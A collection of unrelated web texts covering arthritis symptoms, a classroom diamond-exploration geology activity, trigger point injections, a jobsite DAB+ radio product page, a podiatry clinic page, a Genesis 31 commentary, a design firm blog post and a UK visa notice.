• Throbbing: feel pain in a series of regular beats
• Hot or burning: to feel heat or a physiologically similar sensation
• Sharp: piercing physical sensation or effect
• Shooting: sudden severe pains that move through the body
• Dull: is generally like a constant spread out pain
• Grinding: crackling or grating sensation and/or sound in the body
Early Symptoms of Arthritis
Still wondering "What does arthritis feel like?" Here're some early symptoms for different types of arthritis that could help you to get a better idea of it.
1. Early Osteoarthritis Symptoms
Osteoarthritis is degeneration of weight-bearing joint cartilage and the underlying bone, and with no cushioning to protect it, the joint swells and becomes hard to move. It causes pain and stiffness, especially in the knees, hips, and lower back, but also joints of the fingers and toes. Symptoms are often noticed in the morning, and it takes a few minutes for the joints to get moving again. Depending on the joint affected, osteoarthritis can make it difficult to walk, open jars, or even bend over.
2. Early Rheumatoid Arthritis Symptoms
A chronic progressive disease called rheumatoid arthritis causes inflammation in the joints that results in painful deformities and immobility, in the fingers, feet, wrists, and ankles. It causes pain and swelling, usually the small joints of the fingers and toes, or sometimes a lager joint, such as the knee or ankle. The disease is symmetrical, meaning that if your right big toe is swollen and painful, your left big toe will be as well. In addition to joint problems, other effects can include the skin, eyes, lungs and blood vessels.
3. Early Psoriatic Arthritis Symptoms
An auto-immune disorder, Psoriatic arthritis occurs when your immune system mistakenly attacks your own body's tissues. Psoriatic arthritis also affects some people who have psoriasis, a condition that features red patches of skin and crumbling nails. The main symptoms of psoriatic arthritis are joint pain, stiffness and swelling. Moreover, they can affect any part of your body, including your spine and fingertips, and can range from relatively mild to severe. However, with psoriasis and psoriatic arthritis, symptoms may alternate with periods of remission.
4. Early Gout Symptoms
Gout is a disease in which a faulty metabolism of uric acid causes arthritis, especially in the smaller bones of the feet with deposits of chalkstones (chalky deposit of sodium urate), and acute pain. Gout is also a complex form of arthritis that is characterized by severe and sudden attacks of pain, and tenderness in joints, often attacking the large joint of the big toe. Although men are more likely to get gout, women become increasingly susceptible to gout symptoms after menopause.
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Finding the Next Diamond Mine
The unequal distribution of natural resources is the direct result of past geologic processes. Once a promising region is located, geologists use a variety of techniques to find the materials and energy that society consumes. Their tools can be as simple as a hand lens or as sophisticated as a satellite. Along the way, exploration geologists and their companies must stay within budget, exercise patience and common sense, and, in most cases, accept failure more frequently than success. A common exploration method is tracing a material, such as diamonds or gold, back to its source. In this lesson, students will examine the global distribution of diamond deposits, practice identifying grains of common minerals and rocks, and model exploration geology as they search for their own diamond mine.
Geologic background
The availability of diamonds has played a critical role in the development of countries and their economies. However, distribution is uneven and for some countries, such as the United States, all natural diamonds must be imported. Few natural diamonds are gem quality, and most are used in industrial applications, such as computer chips, stone cutting and highway building, or drilling for oil and gas (USGS 2018).
Diamonds form under high pressure at depths of 150 km and temperatures over 1000°C, a combination found only beneath the stable interiors of continents (Shigley et al. 2016; Harlow and Davie 2005). The carbon is likely carried down a subduction zone or from the original accretion of the Earth. To get to the surface, diamonds are transported by magma, so they are found in volcanic rock (visit Volcanoworld at for details). Volcanic rock that may contain diamonds, called kimberlite, is dark in color and rich in potassium, magnesium, and iron. Kimberlite volcanoes are small, only 500–1,000 m in diameter at the surface, with low rims that are commonly eroded away (see On the Web—Slide 5 in Finding Diamonds PowerPoint). Most of the kimberlite eruptions occurred 150 to 70 million years ago. Frustratingly, not all kimberlite contains diamonds.
Diamonds occur in nature at an incredibly low concentration (parts per billion), so geologists look for indicator minerals that are commonly associated with kimberlite (i.e., garnet, olivine, clinopyroxene, ilmenite, chromite, and zircon), which tell an exploration geologist that she is on the right trail! However, rivers or glaciers can cause these minerals to erode away from the diamond deposit. Tracing these minerals to their source can take years and requires equal amounts of science and tenacity (see Barren Lands (Krejicks 2001) and Hoffman’s (2008) article for examples).
If diamond deposits are small in diameter (about 500 to 1,000 m) and extremely limited in their global distribution, how do geologists find them? While time-consuming and often frustrating, finding a diamond deposit is not overly complicated. Exploration geologists, like your students, only need an understanding of streams and watersheds. Geologists commonly start taking samples at the base of a major river valley. If they find indicator minerals, they know they are in a promising watershed. Samples are collected upstream as the number of tributaries grows. Geologists determine which tributary leads to a potential diamond deposit. If a stream is promising, they take more samples. Eventually, the geologists find the kimberlite in the watershed and drill the deposit for rock cores. The volume of diamond ore is then defined and evaluated against the economic considerations of starting a mine.
During the Finding Diamonds activity, students learn the basics of mineral and rock identification, think scientifically, use evidence, and move up the streams in a hypothetical watershed to find a source of diamonds.
Classroom procedure
Students use the Finding Diamonds Activity Handout (see On the Web) to move through the activity. They begin Part 1 by comparing the global distribution of diamond deposits to a plate tectonic map and a map of bedrock ages of the world to determine that diamonds have an unequal distribution and are only found in the stable, old interiors of continents (see On the Web—Slides 1–4 maps in the Finding Diamonds PowerPoint). The teacher may wish to print the maps as overlays to facilitate comparison of diamond distribution to geologic factors.
Part 2 provides a practice experience in mineral identification before the students start exploring to find the diamond deposit. Students are given a small plastic dish that contains one grain of each rock and mineral (Figure 3). Students use the Mineral and Rock Identification Chart (Figure 4) to focus on key characteristics of the materials.
The minerals for this activity were carefully selected to introduce properties and because they are common; as students continue beyond this activity, they will find identification more challenging. Students must check their identification with the teacher before advancing. Commonly, students will need to be sent back to their desks one or two times before they are efficient at identification. Misidentification, just like the real world, leads to problems and setbacks—teachers must be strict! If the geologist makes too many mistakes, their employer may not stay in business. Part 2 could be done in one class meeting, and Part 3—locating the deposit—can be done in the next class.
During Part 3, students attempt to find a diamond deposit using their mineral identification and critical-thinking skills. This is the main part of the activity and is quite dynamic. Teams of two or four students start at location 1. They send a teammate to the teacher to collect sample bag 1 and return to their desk. A line of students forms quickly and the students must be patient; this is similar to a geologist submitting their sample for chemical assay and waiting for results.
Students must examine and correctly identify the minerals and rocks at that location (Figure 2). They record their data on a table in the activity sheet. When they are confident in their answers, students return to the line and check their answers with the teacher. If they are incorrect, they must return to their desk and recheck their work.
Distribution of minerals and rock fragments by sample and location number for setting up the exercise and for an answer key.
Distribution of minerals and rock fragments by sample and location number for setting up the exercise and for an answer key. Indicator minerals in bold. The most efficient exploration would progress from location 1 to locations 3, 8, and 16.
Map of exploration area.
Map of exploration area.
Rock and mineral grains used in the activity.
Rock and mineral grains used in the activity.
The teacher facilitates prompt movement through the line by having the samples well organized and clearly labeled. The teacher can tape Figure 1 to the desk to use as an answer key. Companies (i.e., student teams) hold their search successes and failures in secrecy; they do not want to give other companies any advantage. Students can model this behavior by quietly conveying their data to the teacher, in writing or speaking quietly. If a team serendipitously learns that location 2 has no indicator minerals, they can save time and money by skipping that location and advancing to their next sample location.
Once the students have correctly identified the materials at location 1, including the single indicator mineral, they must look at the map and select the next location (2, 3, or 4) to explore. This selection is essentially chance and the least scientific step in the process; however, real geologists will at times need to work with incomplete data and collect material to analyze in the hope they are on the right trail. If the students pick locations 2 or 4, they will not find any indicator minerals. Students choosing these locations must record their data on the activity worksheet (see “On the Web”), explain their reasoning (generate a hypothesis) for what sample they want next, and pay $500 for their next sample.
Eventually, each team should reach location 3 and find the two indicator minerals in that sample. The presence of indicator minerals and the increase in their abundance (2 grains of 10) shows the students they are on a promising path. Teams must sample in order, Level 1, then Level 2, etc. (see activity worksheet, “On the Web”). Students commonly ask to skip a level as their funds get low or other teams seem to be doing better; the teacher needs to be strict to ensure STEM practices.
The process repeats: From location 3 students must randomly select between locations 7 or 8. Sample 7 has no indicator minerals. Sample 8 has five indicator minerals. Again, students must successfully identify all grains in their sample, record their reasoning, and make a payment before advancing.
The successful team is the first team to reach location 16. Students must correctly identify all nine indicator minerals including the single diamond. Educated (and a bit lucky) students can locate the source in four samples (four tries: 1,3, 8, and 16). With $2,500 ($500 per try) they can purchase five samples. The winning team will be excited, but must remain quiet until all teams complete the activity. If a team has exhausted its funds, students can make a sales pitch (to the teacher) to borrow additional funds to continue exploration. Typically, all teams want to continue until they have found the location and have seen the diamond. Teachers can give extra diamonds as prizes.
Preparing Rock and Mineral Sample Bags
Sample preparation is a potential hurdle to this activity. Preparation can be divided into three steps: purchasing materials, crushing rock, and preparing the sample bags. The two rock types and the six common minerals are typically included in an Earth science lab or can be purchased at a gem and mineral show for less than $10 or online for a total of about $80. Biotite or muscovite can be substituted for potassium-bearing mica phlogopite. The less common minerals (i.e., red almandine garnet, green chromium diopside, and industrial diamonds) can be bought online (e.g., on eBay) for less than $100. A rock tumbler can be purchased for about $55.
To make rock and mineral grains, start with thumb-size pieces of sample. (Safety note: Wear safety goggles and heavy lab jackets.) Place sample on a metal plate and smash with a sledgehammer to coarse sand or pebble size. Place plastic bags over the sample while hammering to keep the pieces from moving too far. Gently wash the pulverized material with water to remove dust and tiny pieces. Run the grains in a tumbler for two days to remove the sharp edges and to give the look of being rounded by transport.
Working with one material at a time is most efficient. Figure 1 shows the numbers of grains needed for each rock and mineral for a single set of samples from the 19 locations. The lab runs smoothly if students work in groups of two to four, with 10 sample bags for each location. (The lab requires nearly 700 grains of limestone, about 500 of potassium feldspar, almost 400 of quartz, and just over 200 of basalt. Only a few dozen grains of the less common minerals are needed and only about 26 small industrial diamonds.) Approximately three hours are needed to smash and clean the materials. The tumbling requires brief periods over two weeks.
Next, prepare the petri dishes for Part 2 (inexpensive 5 cm diameter plastic petri dishes work well). Place 10 grains, one of each material, in each dish. Then, prepare sample bags to represent each map location in Part 3, which is easy but slightly tedious. You will need approximately 200 clear, snack-size (about 16 × 8 cm), sealable bags and a permanent marker. Set an array of small cups on a table and place spoonfuls of mineral or rock grains in each cup.
Prepare 10 samples for each location in the proportion shown in Figure 1. Label each bag in the top right corner with the appropriate sample location number. For example, a prepared sample bag at location 1 would have one grain of diopside (an indicator mineral), one of potassium feldspar, one of quartz, five of basalt, and two of limestone. Repeat this step for 10 bags for each sample location. Place the bags in sequential order in a small box and use file cards labeled with sample number as dividers. This organization allows the lab to run smoothly.
You can think of these mineral proportions as percentages but that would be a great exaggeration (see Extensions section). After some training and practice, students can easily identify the grains in only a few minutes.
The activity includes an economic perspective. To generate some “play” money, use $500 bills from a board game and fill an 8” × 11” page with about 10 bills. Copy the page onto green paper and cut out the individual bills. Each team needs $2,500, or five $500 bills.
By the end of the activity, students should be able to
• explain the global distribution of diamond deposits,
• apply physical characteristics to identify common minerals and rocks, and
• construct an explanation based on evidence to explain how mineral deposits are found.
Two formative assessments are incorporated into preparing for exploration. In Part 1, students use simple map skills to deduce that deposits can be found only on ancient cratons. Part 2 serves as a formative assessment of the students’ developing skills in identification. Students should master this skill prior to Part 3. Most of the minerals have unique characteristics, but some commonly take a few iterations to consistently identify.
Summative assessment is provided in Part 3. Students have multiple cycles to develop and demonstrate their level of scientific reasoning, identification skills, and collaboration with a peer to navigate a simple but realistic field scenario.
Teacher feedback
A local Earth science teacher used the activity in his high school classrooms and provided feedback. He stated that overall the activity was engaging, easy to run, and useful in closing the gap between minerals and sediments (eroded particles). The students were engaged and liked solving the problem. The students spent one hour preparing (parts 1 and 2) and two hours running their search in the second period (Part 3). He noted students can be impatient waiting in line and that Figure 4 is critical. The dollar limit guided students toward disciplined thinking, not random guessing.
Rock Fragment, Common Mineral, and Indicator Mineral Identification (Scales in mm).
This activity was initially tested with 24 preservice teachers in a geology methods course. The activity was completed in two hours and served as an introduction to mineral exploration, the characteristics of minerals, and the nature of science. Abbreviated versions were presented at the 2012 NSTA national conference and a 2011 state science teachers meeting. One teacher noted that the activity “allows students to identify minerals and check in to ensure understanding. The money adds a competitive twist that most students would enjoy.” Additional feedback included having a microscope at every station or passing around hand samples of each mineral, which is now part of the activity. Other teachers liked the collaboration but “didn’t like running out of money.” Lastly, one teacher noted the activity served as a “great introduction” to the scientific method.
Teachers can try the following extensions to apply learning and add other learning targets.
• A literacy component can be added by having students examine the uses of diamonds, major global producers, and the relative roles of natural and synthetic diamonds (USGS 2018). The Hoffman (2008) article describes the history of exploration for the Diavik mine in Canada.
• How Big Is Your Target? Diamonds are rare (parts per billion) and harder to find than a needle in haystack (searching entire continents for something the size of two football fields). Using Google Earth, students can measure the diameter of two recently discovered diamond deposits in Canada. The mines (kimberlite volcanoes) are about 0.7–0.9 km in diameter. Finding such a small area compared to the great expanse of Canada is impressive. The teacher could guide the students through this part by projecting a Google Earth image (see On the Web—Slide 15 in the Finding Diamonds PowerPoint).
• How much diamond do you need in your lifetime? Consider that an average American uses 0.4 g of diamond per year. Assuming an average life expectancy of 78 years, each American needs about 31 g of diamonds in their lifetime. A penny weighs about 2.5 g, so placing 12 pennies in students’ hands is equivalent to the amount of diamonds they will use in a lifetime.
Stephen Mattox ( is a Professor of Geology at Grand Valley State University, Jessica Ketelaar ( is a stay-at-home mom near Grand Rapids, MI, and Robin VanderWel ( is a science teacher at Catholic Central High School, Grand Rapids, MI.
Connecting to the Next Generation Science Standards
HS-ESS3 Earth and Human Activity
Performance Expectations
• The chart below makes one set of connections between the instruction outlined in this article and the NGSS. Other valid connections are likely; however, space restrictions prevent us from listing all possibilities.
Science and Engineering Practices
Developing and Using Models
• Use a model to provide mechanistic accounts of phenomena. (HS-ESS2-4)
Classroom Connection: Students use a hands-on simulation to model the exploration for natural resources, specifically diamonds in sediment.
Constructing Explanations and Designing Solutions
Classroom Connection: Students explain and justify their exploration path with evidence collected from each sample.
Analyzing and Interpreting Data
• Evaluate the impact of new data on a working explanation and/or model of a proposed process or system.
Classroom Connection: Students move through several cycles of data collection, interpretation, and revising and testing their hypothesis.
Disciplinary Core Idea
ESS3.A: Natural Resources
Classroom Connection: Student groups discuss and analyze the global distribution of diamonds and its relationship to the age of rocks.
Crosscutting Concept(s)
• Empirical evidence is needed to identify patterns.
Classroom Connection:Students explore maps to define the uneven distribution of diamonds and correlate their location with ancient rocks.
Cause and Effect
Classroom Connection:Students collect their own data and justify their thinking based on evidence.
Scale, Proportion, and Quantity
Classroom Connection: Students explore diamond distribution from a scale of a single grain to a continent and reflect on a concentration of parts per billion. Students use a simulation to model mineral exploration that can be on a continental scale.
Finding Diamonds Activity Handout
Finding Diamonds Powerpoint (PDF)
Harlow G.E., and Davie R.W.. 2005. Diamonds. Elements 1 (2): 67–72.
Hoffman C. 2008. How a rogue geologist discovered a diamond trove in the Canadian Arctic. Wired.
Krejicks K. 2001. Barren Lands: An Epic Search for Diamonds in the North American Arctic. New York: W.H. Freeman.
Shigley J.E., et al. 2016. Mining Diamonds in the Canadian Arctic: The Diavik Mine. Gems & Gemology 52 (2): 104–131.
United States Geological Survey (USGS). 2018. Industrial Diamond Statistics and Information.
Earth & Space Science Instructional Materials Labs NGSS High School
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What conditions do they treat?
Trigger points are commonly located in the neck, upper back and shoulder areas and are focal areas of muscle spasm. Trigger point injections can be used to target any muscle groups. Other sites include the lower back, buttocks and outer hip area. The injections administer medication directly into a specific trigger point and are used to treat several conditions including tension headache, myofascial pain syndrome and in some rare cases fibromyalgia. When used to relieve myofascial pain, the myofascial trigger point is typically found inside a taut band of skeletal muscle, or alternatively in the muscle fascia.
Where are the injections performed in the body
Where are the injections performed in the body?
Procedures can vary but typically involve locating the trigger point via manual palpation and then marking the site. After the injection site is cleaned, some local anaesthetic is used to make the injection less painful before the needle is inserted into the trigger point. A small needle in the back of your hand can be used to administer sedation or in case of an emergency. Ice packs or painkillers can be used to treat any post-procedural flare-ups which may cause pain due to local reactions in the one or two days following the injection.
Patients are then monitored in a recovery area before transfer to the ward and discharge home. Patients may experience a numb feeling for a few hours. Pain at the injection site may increase for four or more days. It is advisable to rest for 24 hours and resume stretches and exercises when the pain eases. This window of pain relief should be utilised for performance of strengthening exercises and rehabilitation physiotherapy.
There is a variable response to injection treatment. It is important to discuss both the benefits and risks of the procedure with your doctor before any agreement to undergo the procedure is reached. Trigger point injections are typically very safe. Although the chance of any complications is generally low, as with all surgical procedures, there is an element of risk involved including failure to get benefit or pain aggravation. Ice packs and painkillers can be used to treat these post-procedural flare-ups. Possible complications, as with all interventional procedures, include bleeding, bruising, infection and nerve injury. There may be an allergic reaction to the steroid or any of the medications. |
global_05_local_5_shard_00002591_processed.jsonl/41764 | Order of Aimee Leduc Books
Aimee Leduc is the protagonist in a series of mystery novels by American novelist Cara Black. Aimee is a private investigator out of Paris. She is sharp, fashionable, hip and headstrong. She will often put herself in danger in order to complete the task at hand.
Order of Cara Black Books
Cara Black is an American author of mystery novels. Her novels feature Aimee Leduc, a private investigator based in Paris, France. She has won the Anthony Award for Best First Novel and Best Novel. Cara has worked as a preschool teacher and preschool director. |
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global_05_local_5_shard_00002591_processed.jsonl/41791 | Ubox 400R
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The most competitively priced, high-quality rechargeable DAB+ radio on the market, this
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Ubox 400R
The lightweight powerhouse
The most competitively priced, high-quality rechargeable DAB+ radio on the market, this no-frills device adds entertainment to any workshop, filling it with bright and clean sounds.
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Basic data
DAB+ Digitale radio ontvangst
FM ontvangst met
RDS zenderinformatie
Bluetooth ontvanger
voor muziek streaming
2 Aux ingangen voor
externe MP3 speler
Oplaadbaar met
NiMH batterijen (8 x D)
Ubox 400R
Compact and powerful Bluetooth speaker and DAB+ jobsite radio
3-Inch Dual 7-Watt Magnet speaker
ABS plastic impact-resistant cover
Neoprene rubber power cable
Technical information
DAB+ Digital Radio reception
FM reception with RDS station information
6 station presets FM and DAB+
Extra media
Bluetooth receiver for music streaming
Aux-in for external MP3 player
7 Watt, 3 inch speaker
Sound box volume 1,8 litre
Separate tone control (Treble, Mid and Bass)
DSP – Digital Sound Processing
DDRC – Dual Dynamic Range Control
Dynamic Loudness function
Power supply/current
Mains current (230V)
Batteries (6 x AA)
Chargeable with NiMH batteries (6 x AA)
LED charge indicator
Extra functions
Bluetooth connected LED
Multi-language user interface
Display of current track (title, artist, album)*
Durable ABS plastic body
Backlit LCD display
Metal speaker grill
Rugged controls
Flexible, collapsible antenna (type: KDAB8)
2.8 m neoprene-rubber power cable
Cable storage at the back of the radio
Roll-cage protected
Weight excl. batteries 1.9 kg
Weight excl. batteries 2.1 kg
WxHxD 18 x 25 x 20 cm
Colour: anthracite
Rain, dirt and dust resistant (IP64 standard)
Product data
EAN Code:
Number in outer box:
Number on pallet:
Weight of radio (excl. batteries):
1,9 kg
Weight of radio (incl. batteries):
2,1 kg
Weight including packaging:
2,6 kg
Weight of outer box:
11 kg
Radio’s dimensions (WxHxD):
18 x 25 x 20 cm
Packaging’s dimensions (WxHxD):
19 x 26 x 21 cm
Outer box’s dimensions (WxHxD):
43 x 29 x 39 cm
Frequently asked questions
The UBOX 400R is rechargeable. How long does it play for on a full charge?
The length of time a rechargeable radio plays for on a full charge can never be given precisely as it depends on a number of factors, including the type of music played (e.g. music with more bass requires more power), the volume selected (the higher the volume, the more power used), the ambient temperature (a battery produces less power in low temperatures), the age of the rechargeable batteries, etc.
The UBOX 400R plays for up to approximately 1 working day on a full charge (at an average volume level, at room temperature – depending on radio reception and music type).
Sometimes if I move my DAB+ radio even just 50 cm indoors I have better reception.
With DAB+ signal reception, moving the radio a short distance, even just a few dozen centimetres, can make a huge difference to the signal level. This is typical of DAB+ radio reception.
How far away can you be without being disconnected from Bluetooth?
An average of 10 metres or more in open spaces. But this greatly depends on the type of mobile phone (the strength of the Bluetooth signal emitted by this telephone) and the presence of any intervening walls and doors. If you become disconnected from Bluetooth when leaving for a moment, as soon as you return within range connection will be restored automatically.
Can someone else connect to my radio via Bluetooth with their mobile phone at the same time?
No. Once it is connected the radio only recognizes your mobile phone. Only if you purposefully disconnect in the radio’s Bluetooth menu can another mobile phone be connected to it.
The UBOX 400R only recharges when switched off. Why is this?
In order to prevent the charging process from having a negative effect on the quality of radio reception and music performance it was decided to separate charging and playing in a number of models.
If I use my rechargeable drill near the radio the latter fades away. When I stop the sound returns. How come?
If machines (e.g. drills, saw benches, forklift trucks, etc.) or battery chargers are operated next to or near a jobsite radio, the electromagnetic field they generate can interfere with reception by the jobsite radio. In the case of DAB+ reception, strong electric currents in the immediate vicinity can even cause the radio signal to fade completely.
How do I connect my mobile phone to the UBOX 400R radio when doing so for the first time?
Simply via your mobile phone’s Bluetooth menu. Select “UBOX 400R” in your mobile phone’s Bluetooth menu. No PIN codes or similar are required
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global_05_local_5_shard_00002591_processed.jsonl/41793 | Foot Pain Specialist
Permian Basin Foot and Ankle
Every day, millions of Americans experience severe foot pain. If you’re one of them, it’s important to get help. Without proper care, foot pain can progress and keep you from your favorite activities. At Permian Basin Foot and Ankle, which has three locations in Odessa, Midland, and Pecos, Texas, Joseph Morgan, DPM, Justin Brown, DPM, and their team specialize in diagnosing and treating foot pain. To request your foot pain consultation, call the office today or request an appointment using the online booking tool.
Foot Pain Q&A
What is foot pain?
Foot pain is a common musculoskeletal condition caused by an injury, overuse, or inflammation. Each of your feet contains more than 20 bones and 33 joints. These bones work with muscles, tendons, and ligaments to assist you in your day-to-day activities like walking, running, and climbing stairs. While your bones and joints work incredibly hard, they aren’t invincible.
Foot pain varies in severity depending on what’s causing it. Some people experience dull and throbbing pain in their feet. For others, foot pain can be sharp and stabbing.
No matter what type of foot pain you’re suffering from, treatment is available at Permian Basin Foot and Ankle.
What are some common causes of foot pain?
Foot pain happens for a number of reasons. The team regularly diagnoses and treats foot pain caused by:
• Achilles tendonitis
• Bone spurs
• Broken feet
• Ingrown toenails
• Morton’s neuroma
• Foot deformity
• Tendonitis
• Plantar fasciitis
• Corns and calluses
• Osteoarthritis
• Plantar warts
They also treat foot pain caused by damaged nerves, like peripheral neuropathy.
Where does foot pain occur?
Foot pain can occur anywhere in your feet and toes. But two of the most common types of foot pain are:
Heel pain
Heel pain is usually felt at the underside or back of your heel. In most cases, heel pain isn’t the result of a serious medical condition. But without proper treatment, it can affect your mobility, preventing you from walking, standing, or participating in your normal routine. Some of the most common causes of heel pain include plantar fasciitis and Achilles tendinitis.
Arch pain
Arch pain occurs in the middle of the sole of your foot. Depending on the underlying cause, arch pain may worsen with physical activity or flare-up first thing in the morning. The most common causes of arch pain include overpronation, cavus foot, and posterior tibial tendon dysfunction (PTTD).
What’s the process for diagnosing foot pain?
To diagnose foot pain, the team at Permian Basin Foot and Ankle reviews your medical history, asks you questions about your symptoms, and performs an exam. They may carefully press on different areas of your foot to pinpoint the source of your pain.
If the exam doesn’t provide enough information, they may ask you to complete a series of in-office exercises to observe your gait and posture. They may also order X-rays to get a more in-depth look at the bones and joints in your feet.
If you or a loved one is suffering from foot pain, make an appointment with Permian Basin Foot and Ankle by calling the office nearest you, or using the online booking tool. |
global_05_local_5_shard_00002591_processed.jsonl/41825 | The Pulpit Commentary
Genesis 31:31-32 (Genesis 31:31-32)
And Jacob answered —"in an able and powerful speech" (Kalisch)— and said to Laban (replying to his first interrogation as to why Jacob had stolen away unawares), Because I was afraid: for I said (sc. to myself), Peradventure (literally, lest, i . e . I must depart without informing thee lest ) thou wouldest (or shoudest) take by force —the verb signifies to strip off as skin from flesh ( vide Micah 3:2 ), and hence to forcibly remove— thy daughters from me (after which, in response to Laban's question about his stolen gods, he proceeds). With whomsoever thou findest thy gods, let him not live. If Jacob meant he shall not live, but I will slay him with mine own hand (Aben Ezra), let God destroy him (Abarbanel), I give him up to thee to put to death (Rosenmüller), let him instantly die (Drusius), he was guilty of great unadvisedness in speech. Accordingly, the import of his words has been mollified by regarding them simply as a prediction, "he will not live," i . e . he will die before his time (Jonathan), a prediction which, the Rabbins note, was fulfilled in Rachel ( vide Genesis 35:16 , Genesis 35:18 ); or by connecting them with clause following, "he will not live before our brethren," i . e . let him be henceforth cut off from the society of his kinsmen ( LXX ; Bush). Yet, even as thus explained, the language of Jacob was precipitats, since he ought first to have inquired at his wives and children before pronouncing so emphatically on a matter of which he was entirely ignorant (Calvin). Before our brethren —not Jacob's sons, but Laban's kinsmen ( Genesis 31:23 )— discern thou —literally, examine closely for thyself , the hiph. of נָכַר (to be strange) meaning to press strongly into a thing, i.e. to perceive it by finding out its distinguishing characteristics ( vide Furst, sub voce )— what is thine with me, and take it to thee. For (literally, and) Jacob knew not that Rachel had stolen them —otherwise he would have spoken with less heat and more caution.
- The Pulpit Commentary
Genesis 31:22-44 (Genesis 31:22-44)
Laban's pursuit of Jacob.
I. THE HOSTILE PREPARATION . Learning of his son-in-law's departure, Laban at once determines on pursuit; not alone for the purpose of recovering his household gods, but chiefly with the view of wreaking his pent-up vengeance on Jacob, whom he now regarded as the spoiler of his fortunes, and if possible to capture and detain the much-coveted flocks and herds which he considered had been practically stolen by his nephew. Mustering his kinsmen by either force or fraud,—by command enjoining those belonging to his household, and by misrepresentation probably beguiling such as were independent of his authority, he loses not a moment, but starts upon the trail of the fugitives. Worldly men are seldom slow in seeking to repair their lost fortunes, and angry men are seldom laggard in exacting revenge, it is only God's vengeance that is slow-footed.
II. THE DIVINE INTERPOSITION . Six days the wrathful Laban follows in pursuit of Jacob, and now the distance of one day is all that parts him from the fugitives. In a dream by night he is warned by Elohim to speak neither good nor bad to Jacob. The incident reminds us of the Divine superintendence of mundane affairs in general, and of God's care for his people in particular; of the access which God ever has to the minds of his dependent creatures, and of the many different ways in which he can communicate his will; of his ability at all times to restrain the wrath of wicked men, and check the hands of evil-doers, who meditate the spoiling of his Church or the persecution of his saints.
I. The pompous harangue of Laban . Laban gives way to—
2. The ingenuous response of Jacob . In this are discernible virtues worthy of imitation, if also infirmities deserving reprobation. If Jacob's candor in declaring the reasons of his flight ( Genesis 31:31 ) and willingness to restore to Laban whatever property belonged to him ( Genesis 31:32 ) are examples to be copied, on the other hand, the over-confident assertion that no one had Laban's gods, and the over-hasty imprecation on any who should be found possessing them, are not to be commended.
1. The missing gods . On the nature, probable origin, and uses of the teraphim see Exposition, Genesis 31:19 . The existence of these silver or wooden images in Laban's tent was a proof of the religious declension, if not complete apostasy, of this branch of the family of Terah. Scripture never represents idolatry as an upward effort of the human heart, as a further development in the onward evolution of the soul; but always as a deterioration, or a retrogression, or a falling away of the human spirit from its rightful allegiance. The loss of Laban's manufactured deities was a ridiculous commentary on the folly of worshipping or trusting in a god that could be stolen—a complete reductio ad absurdum of the whole superstructure of idolatry (cf. 1 Kings 18:27 ; Psalms 115:4 , Psalms 115:8 ; Isaiah 43:19 ; Isaiah 46:6 , Isaiah 46:7 ; Jeremiah 10:5 ).
2. The anxious devotee . Invited by Jacob to make a search for his lost teraphim, Laban begins with Jacob's tent, then with the tents of Bilhah and Zilpah, after which he passes into Leah's, and finally comes to Rachel's; but everywhere his efforts to recover his gods are defeated. What a spectacle of infinite humor, if it were not rather of ineffable sadness—a man seeking for his lost gods! The gospel presents us with the opposite picture—the ever-present God seeking for his lost children.
3. The lying daughter . If the conduct of Rachel in carrying off the images of her father was open to serious question ( vide Exposition, Genesis 31:19 ), her behavior towards her father in the tent was utterly inexcusable. Even if she spoke the truth in describing her condition, she was guilty of bare-faced deception. This particular passage in-Rachel's history is painfully suggestive of the disastrous results of worldliness and irreligion in the training of children. Laban's craft and Laban's superstition had both been factors in Rachel's education.
4. The deceived parent . Worse than being disappointed in his gods, Laban was dishonored by his daughter. But what else could he expect? Laban was only reaping as he had sowed. Marvelous and appropriate are God's pro vide ntial retributions.
V. THE PASSIONATE INVECTIVE . It was now Jacob's turn to pour out the vials of his wrath upon Laban, and certainly it burned all the hotter because of its previous suppression.
1. He upbraids Laban with the unreasonableness of his persecution ( Genesis 31:36 ).
2. He taunts Laban with the fruitlessness of his search ( Genesis 31:37 ).
3. He reminds Laban of the faithful service he had given for twenty years ( Genesis 31:38-41 ).
4. He recalls the crafty attempts to defraud him of which Laban had been guilty ( Genesis 31:41 ).
5. He assures Laban that it was God's gracious care, and neither his honesty nor affection, that had prevented him from being that day a poor man instead of a rich emir ( Genesis 31:42 ).
6. He somewhat fiercely bids Laban accept the rebuke which God had addressed to him the previous night.
VI. THE AMICABLE SETTLEMENT . Doubtless much to Jacob's surprise, the wrath of Laban all at once subsided, and a proposal came from him to bury past animosities, to strike a covenant of friendship with one another, and to part in peace. The seven days' journey, affording time for reflection; the Divine interposition, inspiring him with fear; the mortification resulting from his fruitless search, convincing him that he had really overstepped the bounds of moderation in accusing Jacob; the voice of conscience within his breast re-echoing the words of Jacob, and declaring them to be true; and perhaps the sight of his daughters at last touching a chord in the old man's heart;—all these may have contributed to this unexpected collapse in Laban; but whether or not, Jacob, as became him, cordially assented to the proposition.
1. The reality of God's care for his people—illustrated by the appearances of Elohim to Jacob and to Laban.
2. The miserable outcome of a worldly life—exemplified in Laban.
3. The efficacy of a soft answer in turning away wrath—proved by Jacob's first response.
4. The difficulty of restraining angry speech within just bounds—exemplified by both.
5. The folly of idolatry, as seen in Laban's lost teraphim.
6. The evil fruits of bad parental training, as they appear in Rachel.
7. The proper way of ending quarrels—exhibited by Laban and Jacob in their covenant agreement.
- The Pulpit Commentary |
global_05_local_5_shard_00002591_processed.jsonl/41861 | Remix Right Now The Blog
We're Back and up and Running
Published January 11th, 2019 by Remixadmin
We're back online and it feels so good!! 2018 was amazing to the Remix Design Firm project after project, keeping busy not missing a beat!! As we transitioned into 2019 we had to make some changes and one of those changes included a new website with a new host provider. In the middle of our busiest season this couldn't have happened at a more unexpected time. Spending hours going back and forth with a company until they got it right, approving content, photo placement and all the above on top of project wraps, the holiday season and working on wrapping up the year we still managed to get it all done. I am very please with the new site sleek in design with a little edge but still straight to the point. If you guys notice errors in grammar please let me know as I looked through the site a million times but of course felt like my eyes were going crossed sided. I appreciate each and every one of you Thank you for your continued support for the Remix Design Firm and stay tuned for what's in store for 2019!! Leave your feedback below!!
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Changes to process for UK settlement visa applicants in Australia
UK Visas and Immigration is changing the way UK settlement visa applicants in Australia submit their supporting documents. From 30 January 2017, all supporting documents should be sent to the UK Home Office address.
Currently, decisions on a settlement visa are being made in 60 working days. Applicants have an option to submit their applications via the Settlement Priority Visa Service, which means that their application will be put at the front of the queue and the decision expedited.
